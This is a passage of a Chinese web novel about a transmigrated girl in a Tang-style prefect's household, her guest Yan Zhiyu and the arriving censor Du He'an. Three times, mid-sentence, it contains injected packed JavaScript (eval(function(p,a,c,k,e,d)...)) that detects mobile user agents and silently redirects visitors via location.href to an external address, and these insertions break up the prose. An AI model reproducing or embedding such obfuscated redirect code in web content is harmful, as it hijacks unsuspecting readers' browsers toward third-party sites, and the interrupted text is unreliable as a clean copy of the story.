【宿主,这其实也是一种方法。】系统慢悠悠道,【但倘若宿主被反杀,另一个世界的宿主也会彻底死亡。】 少年理得很认真,阳光从窗外斜斜地落进来,将他的影子拉得很长,投在地上。 何妙观小心翼翼地站起身,轻手轻脚地向他走去。 【停停停宿主,您不会真的想杀他吧?】 【现在的成功率是零,宿主!!!不要做无畏的挣扎!!!】 【宿主!!!】 一步,两步,三步,何妙观一点点往挪走,直到踩上他的影子。 或许是因为注意力都集中在手中的书卷上,燕之郁没有一点反应。 何妙观在他身后五寸的地方停下,如是距离,连轻微的呼吸声都可以听到。 还能听到的是咚咚的,有力的心跳。 他的衣袍上有淡淡的栀子花香的味道。 燕之郁慢条斯理地抚过书脊。 正如他所料,这个何家小姐确实居心叵测。 一种复杂难言的情绪涌上心头。 倘若,装得再久一点,便也不至于在这样好的夏天香消玉殒。 余光里,能看见外面阳光灿烂,夏意正浓,葳蕤草木在纸窗上留下扶疏倒影。极远极远的地方,传来蝉不知疲惫的鸣叫。 他觉得很是遗憾。 下一刻,燕之郁听到很轻很轻的声音:“燕、郎、君?” 燕之郁转过身,心中虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366120|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有困惑,但还是模仿她的语气,用很浅的气音回道:“何小姐、为什么、要这样说话?” 何妙观轻咳一声,恢复正常:“你方才太认真,我怕忽然说话吓到你。” “原是这样。”燕之郁略略扯唇,感到荒诞,向窗外看去。 何妙观也望向外面,蝉鸣阵阵,光过竹影,一派夏日的良辰美景。 “这种天气,应该去外面玩,不应该在这里理书的。”何妙观遗憾道。 “嗯。”燕之郁收回视线,接着,向何妙观摊开手。 何妙观看向他的掌心,里面空无一物:“没东西啊?” “何小姐方才看的书,可否帮郁取过来?”燕之郁别过头,看向书架二层的某处,“最后一本,要放在这里。” 何妙观连忙把书递过来。 看到封皮上的字,燕之郁的笑容微微凝住。 “何小姐很喜欢杜相的词?” “不是。是因为燕郎君昨日提起他,才对他有些好奇。”何妙观坦白道,“燕郎君似乎很仰慕杜相,我可以请教一个问题么?” “请讲。” “杜相的自序里提到他有长子秀奴。但是长子一词,和次子相对才能彰显其意。为何自序里却一字不提‘次子’?”何妙观实在有点困惑。 少年柔美秀丽的脸上,少见得浮现出一丝戾气,但这分戾气,旋即又消融在他温和的浅笑里。 “杜相没有什么次子。”燕之郁垂下眸,边说边翻开书籍,“之所以称秀奴为长子,是因为杜相和周氏有个早夭的女孩。” 他翻到的那一页的诗,名字叫做《哭阿鸾》。 掌珠碎南浦,血泪染朝衣。 三更犹闻唤,阿父抱鸾归。 注:小女阿鸾夭于寒食前夜,年方五岁。内子悲恸绝食,余犹需强撑病体赴早朝。圣上问策时,余悲恸难忍,当殿咳血。 原来如此。难怪她不记得杜鹤安有什么弟弟妹妹。 何妙观又问:“燕郎君可熟悉杜相的长子秀奴?” 燕之郁摇头:“郁出身寒微,对杜相的所知所解,只是从典籍中窥得一二而已。至于杜府的家事,岂是郁所能知晓的。不过,何小姐很想认识杜相的长子么?” 何妙观颔首道:“听说这位杜郎君有‘仙人之姿’,今日又看到杜相为他写的词,确实有点想一睹真容。” 杜鹤安是作者不吝笔墨、吹得天花乱坠的美人,什么琼林映雪、青松凝霜、玉山将崩,种种好词都被作者堆砌在他的身上,女一、女二、女三都对他一见钟情,这让何妙观不得不好奇他的相貌。 “杜郎君是长安人,何小姐想见他,应当去长安才是。”燕之郁淡笑道,“以何小姐出身,让旁人引荐,见到杜鹤安,想来也不是难事。” “如果可以,我当然想去一趟长安。”何妙观叹气,抬眸凝望着眼前人,心中暗道,要不是你,我怎么会一直呆在扬州。 “燕郎君,你想去长安么?” “不想。” 何妙观还欲再问些什么,叩门声急急地响起来。 外头的小厮走进来,笑着道:“何小姐,刺史正在正堂等您。” 11.十一 何徵提早回来,让何妙观有些措手不及。 何徵并非原书中重要的人物,对原主的态度如何,何妙观并不清楚,这种事情又不能明摆着问,只好从旁人的三言两语中猜测。这些日子,也有个大致的结论,如果说陈寄柔对原主的宠爱有十分,那何徵只多不少。 两人赶到正堂时,何徵坐在主位同陈寄柔说笑,他虽已五旬,鬓角微染霜色,但眉眼间仍能见年轻时的风姿。 见何妙观进来,何徵神情柔和,招手道:“囡囡,过来坐这边,让阿父好好瞧瞧。”何妙观有些不好意思地在他身旁坐下,何徵浑浊的双眼细细地端详着她,片刻后打趣道:“阿父回来,不开心呐?怎么绷着一张脸?” 原本的世界里,“父亲”的存在让何妙观感到痛苦又不解。她想起小时候的家庭旅游时,爸爸把她背在肩上,说,我们家妙观,以后要一直站在高高的地方。又想起周子叙只比自己晚一年出生。想起他们来到自己家里后,爸爸每个月都会给她转一笔不小的数目,但从不会当着周子叙和继母的面和自己亲近,也不会在继母对她冷嘲热讽时站出来说上一句话。 正常家庭的父亲应该是什么样的? 何妙观不知道,只是挤出一个微笑,说自己是因为刚刚理藏书阁太累才这样的。 “理藏书阁?”何徵有些讶异,“囡囡,这些事情交给下人们做就是,你别累到自己。” 陈寄柔笑道:“文曜,囡囡说那些下人们不通文墨,在分类整理上终究做得不好。所以今日一大早就起来,和小燕郎君一起理。” 何徵的目光终于落在燕之郁身上。 他从陈寄柔的来信中得知,自家囡囡又要养年轻郎君。 虽然陈寄柔在信里有提过这年轻郎君读过书,略通文墨,和之前南风馆的伶人很不一样,但何徵还是唉声叹气好多日。 他倒是不怕养着的人有什么问题,只是怕自家囡囡声名愈加狼藉。 想到这里,何徵不由轻叹一声。 也罢,也罢。 少年容貌极好,气质清贵,看上去不像寻常寒门子弟。 “比上次那个好。”何徵点点头。 何怀初轻咳一声,笑道:“阿父,正是因为燕郎君生得俊秀,小妹对他青眼有加,日日在外头寻欢玩乐。” “大郎说的是。”姜氏趁此开始摇头叹气,“但容貌终是皮相,德行才是根本。宝珠前些日子跟燕郎君去玩弹棋,好好的姑娘家,被带着尽学些轻浮把戏,真是不成体统。妾看着心里难受。” “哦?”何徵听出两人对燕之郁颇有微词,笑眯眯地逗道,“囡囡不和阿父辩驳一下么?” 按照原主的性子,此刻何妙观应该撒娇装委屈,再倒打一耙说何怀初总欺负自己,二嫂也老是针对自己。 但何妙观学不会撒娇。 想来想去,还是讲道理吧。 “阿父,我之所以想让燕郎君留在府里,是因为燕郎君很有才华。他今日和我一起整理藏书阁,分门别类,一丝不苟。如果只因为一个人的皮相就轻视他的内在,觉得他一定是金玉其外败絮其中,这样很不公平。”见何怀初嘴唇微动,又要开口刁难,何妙观拿出写议论文的勇气继续道,“阿父,燕郎君还很仰慕杜相,对杜相的诗词歌赋都很熟悉……” 何徵闻言,眼中闪过一丝兴味:“哦?仰慕杜澹庵?” “是,他今日同我还分析时事,鞭辟入里,很有见地,若是阿父能帮他入仕……”话说一半,何妙观忽地怔住。 何徵是扬州刺史,官位四品,对地位更高的杜澹庵不称其官位,反倒直呼其名,足以见他对杜澹庵并无好感。刚刚一番话,反倒是弄巧成拙,把燕之郁架在火上烤。 果不其然,何怀初冷笑一声,唇角勾起讥诮的弧度,好整以暇地看着燕之郁。 何徵问道:“小燕郎君,你既仰慕杜澹庵,不妨说说,仰慕他什么?” 少年闻言,抬眸回道:“回刺史,郁对杜相不敢称仰慕,只是觉得杜相可惜。” 何徵挑眉,更有兴趣:“如何可惜?” “杜澹庵整顿漕运、改革税制,确是为国为民的好官;但中年专权跋扈,结党营私,又实在令人扼腕。”他轻轻一笑,言语透出轻蔑,“但如今斯人已逝,功过是非,也不过是人们的茶余饭后的谈资而已。” 何徵捋须笑道:“不错不错,小燕郎君所说,正是本官所想。”说着,身子微微前倾,看上去有点激动,“要说仰慕,本官最仰慕的是如今的中书侍郎徐墨陵。虽说朝中有浅薄之辈骂徐侍郎不择手段,但平定东南匪患、推行钉骨刑、整治贪官恶吏,哪件不是利国利民的好事?小燕郎君,你若感兴趣,不妨去藏书阁取《余烬集》来看看。徐侍郎虽然年纪轻、笔力浅,但他所作的诗词,本官以为不输杜澹庵的《东山词》。” 这般吹捧太过狂热,少年睫羽轻颤,唇角微抿,笑容显出些无奈。 “多谢刺史指点,郁定会拜读徐侍郎所作。” “甚好,甚好。”何徵颔首。 何妙观悬在心中的石头终于落下。 另一边,脸色阴沉的何怀初仍是不死心。 “阿父,这燕郎君能将朝中局势分析得如此透彻,倒是令怀初感到意外。但怀初只是担心,这般玲珑心思,若用在别处……” “是啊公爹!”姜氏忍不住插话,“妾听闻有些寒门学子最擅钻营这些,投人所好。今番见公爹不喜杜澹庵,便说他专权跋扈;明日若是公爹对杜澹庵有所改观,估计又是另一番说辞。” 他们怎么这样! 何妙观想起周子叙的样子。每次家里发生争执,周子叙总能通过巧舌如簧,把不占理的事说成占理的,害得她被惩罚。 “这只是他们的揣测而已,阿父不要相信……” “囡囡,阿父明白,阿父明白。”何徵大手一挥,笑眯眯道,“怀初,映素,你们不必多言。小燕郎君这般才华横溢的少年郎,正是何府该结交的俊杰。” 说罢,还起身亲切地拍拍燕之郁的肩膀,眼中满是赞赏,“从今日起,府中上下要以贵客之礼对待小燕郎君。小燕郎君,你有什么需要尽管开口。” “囡囡不愧是我何文曜的闺女,识人之术不输你阿父啊!怀初,你多学学你妹妹,你上次给阿父引荐的那位,什么玩意,害得阿父颜面尽失!” 何怀初面色难看,只好称是。 “还有一事。”何徵稍敛容色,沉下语气,“这月月底,杜御史要来何府住上一段时间。虽说我对杜澹庵颇有微词,但这个杜鹤安倒是难得的俊才。年纪轻轻但处事沉稳有度,是朝中少有的少年能臣。” “杜、杜鹤安?” “是呀,囡囡。此次同他一起来扬州的,还有楚家的小姐。这楚小姐的父亲,可是京中大儒楚琰。”何徵道,“囡囡,虽说阿父知道你对做学问没什么兴趣,但这位楚小姐,你可以多相处相处。” == 晚膳后,何妙观提上灯笼,想再去一趟藏书阁。 “何小姐去那做什么?”燕之郁有些好奇。 “找阿父说的《余烬集》。” 燕之郁唇角微抽,有些抗拒:“郁此前,从没听过什么徐墨陵,大概此人是徒有虚名吧。” 何妙观停下脚步,认真道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371579|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “燕郎君,不论你对徐侍郎有何感,都请装出仰慕他的样子。你方才也见过,在何府,只有阿父喜欢你,旁人才不会轻慢你。” “那都依何小姐所言。”燕之郁温顺地点点头,“郁会尽可能去仰慕这位侍郎的。” 《余烬集》很薄,收录的诗词总共不过二十首。何妙观站在书架前翻看起目录,心中暗叹,这徐侍郎真是个绝世大懒人。 目录里,是清一色的《无题》《无题》《无题》。 何妙观翻到最前面,和杜澹庵冗长的大段文字不同,《余烬集》的自序只有短短三行。 “陵少时,尝观弈于市井。弈者争劫,观者攘臂,唯一老者枯槐而寐。及冠入台省,始知天下皆枰,众生皆子,老者实乃智者矣。夜值思此,又忆少时槐下梦:醒时枰已烬,弈者俱亡。故名《余烬集》。” “景和三年于青烟居。” 天下皆枰,众生皆子。 醒时枰已烬,弈者俱亡。 何妙观有点喜欢这两句话,虽然中二,但睥睨天下、不畏生死的滋味,越品越爽。 “何小姐觉得他写的怎么样?”燕之郁问。 “很好。”何妙观如实道,“我觉得比杜相写得还要好。杜相……写得好古板。” 何妙观做过的文言文阅读里,有一大部分诗人都喜欢那样写序,先是感谢皇恩,又是说一大堆自己的成就,看的人昏昏欲睡。 燕之郁笑着道:“所以何小姐喜欢这类的?” 何妙观点点头,又道:“但不得不说,这个徐侍郎,有一点点装。他年纪估计不大吧?” 原本松懒倚在书架上的燕之郁这时倾过身,好奇道:“‘装’……?这是何意?” “这、这是我新学的街头俚语……”何妙观一时语塞,“燕郎君,如果一个人遗世独立、作风不同俗人,就可以说他‘装’。譬如别人写诗有题目,徐侍郎却一直《无题》、《无题》、《无题》,嗯……就是很装。” “是郁学问浅薄,今日才知,‘装’还有这个用意。”燕之郁若有所思地点点头,“这样看来,何小姐也是很装的人。” 何妙观一点也笑不出来。 == 这夜,何妙观草草洗漱后便躺上榻,心情复杂。 原书里,杜鹤安和燕之郁的初见,是杜鹤安从扬州回到长安以后。 因为查明扬州凶案,杜鹤安重获圣眷,被提拔回长安任大理寺少卿,少年臣子、春风得意,又结识无数权贵,甚至还获得当今圣上的亲姊姊、长公主李莜的赏识。 直至太常粮案。 太常粮案牵扯河东柳氏、博陵崔氏等世家,更涉及北梁宗室的党争,背后势力盘根错节、暗潮涌动。 杜鹤安和燕之郁首次正面交锋,便是因此。 君子有所为、有所不为,自幼饱读圣人书的杜鹤安,遵守礼法,办案讲究证据确凿、程序周全,哪里想得到对面是个毫无顾忌的疯子——先斩后奏、罗织罪名、栽赃嫁祸、刑讯构陷样样精通,以至他功败垂成,差点死在牢狱里。是在长公主的帮助下才侥幸逃过一死。 如今,因为自己的介入,两人在扬州就要见面。 何妙观不清楚这是好事还是坏事。毕竟原书对燕之郁的早年经历描述很少,不曾说过他是如何越来越极端的,亦无法推测他黑化的原因到底是什么。 原本何妙观想通过提升好感度,解锁他的早年经历,再对症下药的。 但好感度却迟迟不变。 只能期望杜鹤安不会是促使他黑化的一环。 窗外响起淋淋雨声。倦意袭来,少女闭上眼,坠入梦境。 12.十二 杜鹤安来的那日,江都县下着绵绵小雨。 雾气笼罩着何府,屋瓦上泛着湿漉漉的光。 何家小厮们撑着伞在门前相迎。 何妙观站在回廊下远远望着。烟雨朦胧中,先是一道修长身影踏下马车,灰色的伞面稍稍抬起,露出半截执伞的玉手。 青年穿着雨过天青色的官袍,背影如竹,行走时衣袂翻飞。 马车上又下来一个年轻女郎。女郎撑着一柄描金油纸伞,莲步轻移,藕荷色的裙裾扫过青石台阶,溅起细碎的水花。伞沿垂落的雨帘后,隐约可见女郎瓷白柔和的侧颜,以及鬓边垂下的一支珍珠流苏。 距离太远,何妙观看不清面容,只觉得两人一人如竹,一人如兰,确是一对璧人。 何家小厮簇拥着两人往前走。经过回廊时,杜鹤安收起伞,抬眸望来。 “见过何刺史、何小姐。”青年的声音温润,如春日落雨,极是悦耳,“这位是义妹箬兰,还望何小姐照料。” 何妙观看到他的脸,呼吸微滞。漂亮出尘的眉眼,像是精雕细琢的玉偶一样,就算说是仙人,也不过分。 站在他身后的女郎微微欠身,柔柔笑道:“箬兰见过何小姐。” 何妙观连忙还礼。 这一日,有不少来接风的官员。何徵拉着杜、楚二人走进正厅寒暄,其他官员们亦闹闹嚷嚷地围上去。何妙观猜着这边没自己的事,便转身往东院走。 不料刚走到花廊,便听到一声低低的“姑姑”。 何妙观转过头。 是红着脸的何宝珠。 因为清乐坊一事,何宝珠一直避着她,平日偶尔撞见,目光亦躲躲闪闪的。 “姑姑,我、我想……”何宝珠吸吸鼻子,声音有点哑。 “到我屋里说吧。”何妙观牵过她的手。 窗外雨声淅沥。 何宝珠坐在绣墩上,眼眶红红的,一双杏眼里漫起秋水。 “姑姑,宝珠今日来,是、是想为阿娘,同姑姑道歉。” 何妙观苦笑一声,轻轻拍着她的背:“宝珠,姑姑从未怨过你。不必道歉的。” 姜氏不喜欢她,宝珠夹在中间,自然会为难。 “姑姑……姑姑真好……”宝珠眼眶更红,哽咽着,“但是、但是,宝珠今日来,还有别的事想要求姑姑……” “阿娘总说,女孩子这辈子最大的出息,就是嫁个好人家,但宝珠不想这样,可是,宝珠又不敢违抗阿娘,阿父他、他又只关心弟弟。”宝珠抽噎道,“明明燕郎君除却一张脸什么都没有,姑姑却能通过教他说那些话,讨得阿翁的欢心,让燕郎君成为家里的座上宾。所以、所以姑姑,能不能也帮帮宝珠……” “燕郎君能得阿父的赏识,不全是因为我。”何妙观轻叹道,“那些话也不是我教的,他自己博览群书、见解独到才是关键。” “这样啊……那他都是读哪些书,能这么厉害……” “藏书阁里的书,他大半都读过。宝珠,你若是想学,我让他偷偷教你好不好?” “姑姑你笨啊!”宝珠闻言,哭得更厉害,“燕郎君是男子,读书能入朝为官。而宝珠,就是把所有书都记住,也没办法做官……弟弟从小被阿父带着去那陶冶情操,可宝珠、宝珠读过的只有《女学》《女诫》……” 何宝珠的弟弟何宝灵,今年六岁。何妙观很少在府里见过他。听说是个“神童”,大部分日子都在学堂读书。 “那宝珠可有什么擅长的?”何妙观又问。 “宝珠……宝珠擅长弹棋、看话本还有玩叶子戏……”何宝珠吸着鼻涕,越哭越厉害,“呜呜……宝珠是不是很没用?” “宝珠,把话本拿来给姑姑看看。” 何宝珠愣愣地抬起泪眼,见她神色真诚,才抽抽搭搭地唤来贴身侍女:“春池,把我床底的话本都取来,还有、还有妆台下压着的那些……” 春池抱着厚厚一摞话本回来。 《路边捡到貌美夫婿》《偶遇的状元郎是狐妖》《病弱首辅非要娶我》《权臣他总想以下犯上》……看名字,和网上最流行的那些言情小说没有差别。 何妙观咬住唇,故作严肃地翻开话本。 话本被翻过很多次,纸张柔软,空白处还留有不少后期用黑墨画上去的插图。这些插图线条流畅灵动,容貌精致细腻,连衣袂飘飞的褶皱都画得惟妙惟肖。 何宝珠面色绯红,哭道:“姑姑你、你别笑,你别笑啊……” 何妙观这才意识到自己唇角上扬许久,怎么也憋不住,“噗嗤”地笑出来。 何妙观看着人物鲜活的动作,缓缓道:“宝珠,姑姑在想,扬州这边的话本鲜少有配着画的,若是能同书坊联系,让宝珠专门作画,宝珠就能凭此安身立命,不必听阿娘的话去嫁人。” “真的么?”何宝珠猛地抬头,噙着泪的杏眸亮起来。 但让宝珠为不入流的话本作画,姜氏怕是会不同意。 “这事得从长计议。姑姑会想办法的。” 何宝珠终于不再哭泣,小口咬着玫瑰酥,眉眼渐渐舒展开来,有心情说笑:“姑姑方才也看到杜御史了吧?” 何妙观点头。 “姑姑觉得,杜御史和燕郎君比起来,谁更好看?” 何妙观细细思索着。不知为何,她觉得两人有点相像,尤其是眼睛。两人的眼角都微微上挑,睫毛浓密弯翘,望着人时,眼眸中总是浮着潋滟柔光。 “都很好看。” “就知道姑姑会这样说!”何宝珠颇为得意,“杜御史清冷如霜,就像话本里皎皎明月、不染纤尘的贵公子;燕郎君温润如玉,虽然出身卑贱,但蒙尘明珠才最惹女子怜惜……哎!宝珠选不出来。倘使他们能一直留在我们家,真是妙哉、妙哉——” “宝珠!杜御史有心仪之人。”何妙观忙打断她的虎狼之词。 “是是是,宝珠一眼便知他和楚小姐关系不同寻常。”何宝珠唇角漾着梨涡,“长安果真是长安,兄长和妹妹也能在一起——” “宝珠!” == 细雨初歇,草木清新。午后的天空若水洗后的白瓷,干净明亮。 “鹤安和义妹初来乍到,往后在何府,还要承蒙二位关照。”杜鹤安说罢,递上两个描金漆盒,“这是从长安带来的一些薄礼,还望何小姐和宝珠姑娘笑纳。” 何妙观一面道谢,一面打量起二人。 【姓名:杜鹤安。】 【简介:杜鹤安,字霄羽,小字秀奴,官至中书令兼刑部侍郎,封兰陵侯。出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382576|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身名门京兆杜氏,年少即以才貌闻名长安,有“玉面郎”之美名,因家族倾覆历经宦海沉浮。同长公主李莜联手推行嘉宁新政后,辞官归隐。】 【姓名:楚箬兰】 【简介:楚箬兰,小字幼兰,京中大儒楚琰之女。性柔婉而不失风骨,常以诗画自娱,著有《蘅芜集》。后嫁杜鹤安为妻,辅佐新政,时人称“双璧”。嘉宁年间随夫归隐。】 虽是头一回见面,杜鹤安和楚箬兰的好感度却不是零,竟都能解锁两个人物故事。 还以为只要是陌生人,好感度就会是零呢…… 何妙观想起燕之郁的好感度,无奈地弯弯唇。 杜、楚两人都非健谈之人,闲逛时大部分时间都是何宝珠开口。 “楚姐姐的步摇真好看!是长安流行的样式吗?” “是呀,宝珠若是喜欢,箬兰那还有两支新的,一会我托人送到你房里去。” “真的呀,谢谢楚姐姐!”宝珠笑得眼睛弯成月牙,“楚姐姐人美心善。这珍珠步摇衬得姐姐肌肤如雪,走起路来珠坠轻摇,简直像画里的仙子下凡!” 楚箬兰闻言,白玉般的脸颊顿时染上红晕,低头轻声道:“宝珠妹妹说笑……” 这宝珠,夸起人来倒真有一套。 何妙观忍不住弯起唇。 何宝珠又转向杜鹤安,笑意盈盈道:“御史大人,您比传闻中还要好看。我之前在话本里读到‘立如芝兰玉树,笑若朗月入怀’的句子,原以为是夸张,今日见御史大人,才知世间真有这般人物!” “鹤安不过是寻常人而已,当不起这般夸赞。”杜鹤安有些不自在,亦是淡淡一笑,“姑娘过誉。” 一行人逛着逛着,来到后院的荷花池畔。 急雨方歇,池中水汽氤氲。在薄雾中,粉白相间的荷花若隐若现。 一道熟悉的身影立在池畔小亭。 少年身着墨色的圆领袍,衣摆上绣着暗红色的缠枝纹,在满池红锦鲤的映衬下,宛如浓墨重彩的工笔。他正漫不经心地将鱼食洒向水面,引得池中红艳艳的锦鲤争相跃动。 听到脚步声,少年缓缓转身。雨后的阳光穿透薄雾,为他苍白的肌肤渡上艳色。 “这位兄台是?”杜鹤安一边问,不着痕迹地打量着眼前人。 “他呀,是姑姑暂住在府里的朋友。”何宝珠笑嘻嘻道。 杜鹤安唇角含笑,拱手一礼:“在下杜鹤安,现任监察御史。” 燕之郁欠身回礼。 “在下燕之郁。” “承蒙何小姐的垂怜,暂居何府。” 何妙观诧异地抬起眼。 余下的两人,亦有些尴尬。 他们还没到扬州时,便听一位官员谈起何府小姐的传闻,说她生性顽劣、喜好男色,十五岁时,曾将南风馆的伶人赎身,养在府中。 这等事情在长安城并不稀奇,长公主就养有面首。但两人到底年轻,亲眼目睹被收留的男客,确有些不知该如何应对。 何宝珠见状,又开口道:“哎,你们别误解。姑姑是慧眼识才,才对燕郎君施以援手的。燕郎君不仅生得好看,还饱读诗书,对杜相很倾慕。” “杜相是御史大人的父亲吧?御史大人,您和燕郎君应该有很多话能聊。”